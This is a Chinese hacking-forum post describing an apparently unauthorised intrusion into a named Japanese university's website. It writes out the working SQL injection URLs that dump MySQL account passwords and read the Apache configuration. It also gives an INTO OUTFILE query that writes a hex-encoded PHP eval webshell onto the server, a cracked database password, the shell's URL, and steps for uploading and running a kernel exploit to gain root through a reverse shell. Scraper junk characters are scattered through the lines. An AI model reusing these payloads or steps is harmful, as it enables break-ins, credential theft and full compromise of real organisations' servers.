中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析- \! X9 I1 [& M. L6 X* @0 R
4 l7 R( K& ^) _2 Y6 {/ ]
http://www.doshisha.ac.jp/chs/news/index.php?i=-1- v) E9 p* C) G
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) j& D4 P7 C3 A, i2 t7 d% K' g3 o* `, O& `  s- ]$ h
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user! m1 q- s: d  P2 E7 G+ s- F. a: a

& {% ]$ T- G, ?2 r 4 d+ t, q+ c6 U' E

8 H2 Y4 z2 z5 x. _2 r( p//@@datadir为数据库文件路径
5 x4 l6 ?6 t% t( i! z / V7 E9 A# p0 N3 ~8 l
2 W& l7 Z6 @! u
//load_file读取网站容器apache的配置文件
$ Z3 s% g2 V' M- H: E4 } 8 k: N6 I, p3 B# q/ |

8 ?# _+ D# E7 o% k) B+ y  u//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 8 H, G( v$ v, m! y0 r
复制代码3 v4 @# Z% R; d0 |

- m2 V# N# N, @5 ^虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
# T! G. A' C" M8 `4 |
% F0 ^! z  I% F9 s而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
4 c) y, b" |0 `* B(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
2 \( _) N- i8 }+ F6 s0 s0 P4 q/ W1 H  q+ U( k2 \& X. ^
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。/ |# h, l& C* k0 \* {9 V# j
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html8 `3 }, y9 L8 v% g) S; Y

3 V2 S2 {5 o( b" ?. Z' M8 _  e既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/0 r$ q. u8 k* Q8 U  c+ F/ R+ Q
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 d7 a( q' q1 M4 n1 m* {直接写一句话:
3 S  ?: y0 s" ~. K9 V6 t! w  d, [: ~& V
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
2 E) S" E  o: n5 N
1 x, k( C+ q0 Q$ ?9 c  [1 S% M+ B5 N' t / x3 g2 [+ h+ F1 f( p" |
5 L* A/ e, c/ Q) H, @# f
//最后的#是为了闭合前面的语句
6 x/ b! z- g" I  y7 s$ }! G + ~9 K. K; d% E

9 {, D) R6 B0 v5 Q. p/ c/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 p! K8 @- v6 [4 D! E
4 G/ f8 E- K. X

' O, m3 F7 x* k, F2 ?6 t7 M为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ + f5 z- m7 `" X9 G
7 y3 H; _9 F1 V/ n. t5 X
; x+ y$ ?6 \9 r+ M0 o) d
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 * x4 y! u3 B& w) P- w6 P
. x2 ^+ u9 _# Z+ X2 P$ r
- {! `. r3 s, Q  L
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
0 ]+ ^- u1 N. `8 m4 }* z9 U0 G//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 0 _8 `& K" @+ a$ b8 ~: F" j
复制代码% r1 t9 S; U* T3 ^, D

1 i4 z2 E$ h# c( PHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
2 E) r3 B2 X" F" [通过上述注入语句,我们就得到了一句话木马:
- f( ~% G# e, b, `4 R; t0 X) I- s$ v: q" u6 z# ]( t

- V8 _& y9 p+ C: x( k0 a; ~  E* J1 ]0 m4 l
8 S0 @6 Z3 B7 _* q* A- r" i
$ E# |; `( `' Y' y5 V1 E  l
http://www.doshisha.ac.jp/english/engnews_img/aa.php 8 V% c* h' G! T/ A
复制代码
+ H5 `% R& j6 }+ k6 H% J5 H) L' N' ?" c
2 z$ d0 c. b; h: L( u5 V0 j用菜刀连接,密码是cmd,如图所示:$ Q' M6 T- H& b; z. `
然后在命令提示行里看了一下,现在的权限是:
& G& W' s- n6 Z- }- F* y
- Q$ ^9 ^! c; x5 P4 D之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。: t! F" z% M  t9 s# @1 D
好在赋权给这个文件夹不需要root,直接执行赋权语句:: y% d9 |! u, t! x% i( M

4 g0 F" k8 X! u( `8 K
( p$ l) A8 R/ X; W$ v- Y+ \: b% ~* S
. k9 z- ^2 {) ?8 j; f) H1 x

# q9 a2 p% d& e6 y5 Z! ~3 x/ ichmod +x /tmp/
+ s; S# R$ M+ [, b. T) s* e复制代码- N; |3 t, y7 C. }6 \. Y& U

& W1 q" k' F/ ~( c在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
0 J; }( w( t4 p2 H然后就查了一下内核版本:) J: E! q  y( b

. P2 C% w% a' S; X; L% G! [ + \2 O. d4 J; B2 T

) X9 T4 Z, f, x' c' t" f, _ 1 M( r  N- Q( Q# D

4 M* e( z) Y/ O$ wuname-a
2 E* P5 q* q4 q  x
' Y# c8 R1 F9 j- q" t+ U+ E/ m4 W
//其实lsb_release -a
5 Z5 u. k1 l- L, W4 O% F复制代码( e/ s8 L! |+ w. \- d

( K, M( h. P+ S+ L2 H4 U0 [' H如图所示:2 Y7 \7 M' H# _4 J

& l+ E: `' d/ @0 g( q3 @  y# C内核版本:linux mainz1 2.6.28-194.e15
" \2 ?7 W5 d& a% O$ B系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
9 I' l# D( V) F查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹- F0 n8 A6 i7 t

; A; n0 M+ m& I" _% s( D然后给予执行权限  n  R" U8 u' ~' N1 |$ }
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
6 K2 K' Y9 x) Q8 V2 a
! w6 ^& e( t6 X2 j, z$ z4 } . X7 ^2 p( ^9 Z8 d4 k- e) d; I
* o4 v: @% O6 ~

# l% j3 T4 F8 l. S2 y: H! O4 E: J+ ]/ Y2 q( F- R/ A1 X, d
chmod +x /tmp/2.6.18-194 % ~& u% g( G9 [9 q# {1 C2 C) B
复制代码 然后直接执行!~' F, ]! f- G# x6 Z( T8 V% z- d

/ z' g% q) W: P- d% i- D( j5 S总结:
$ d+ R7 }6 M, g6 B; L& k! D这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了" C5 l; w; @6 q) I
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root$ D0 G# _1 F9 i# R* F* w. Q
" f2 J8 D% s, ^& ~3 m+ |9 k( G





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2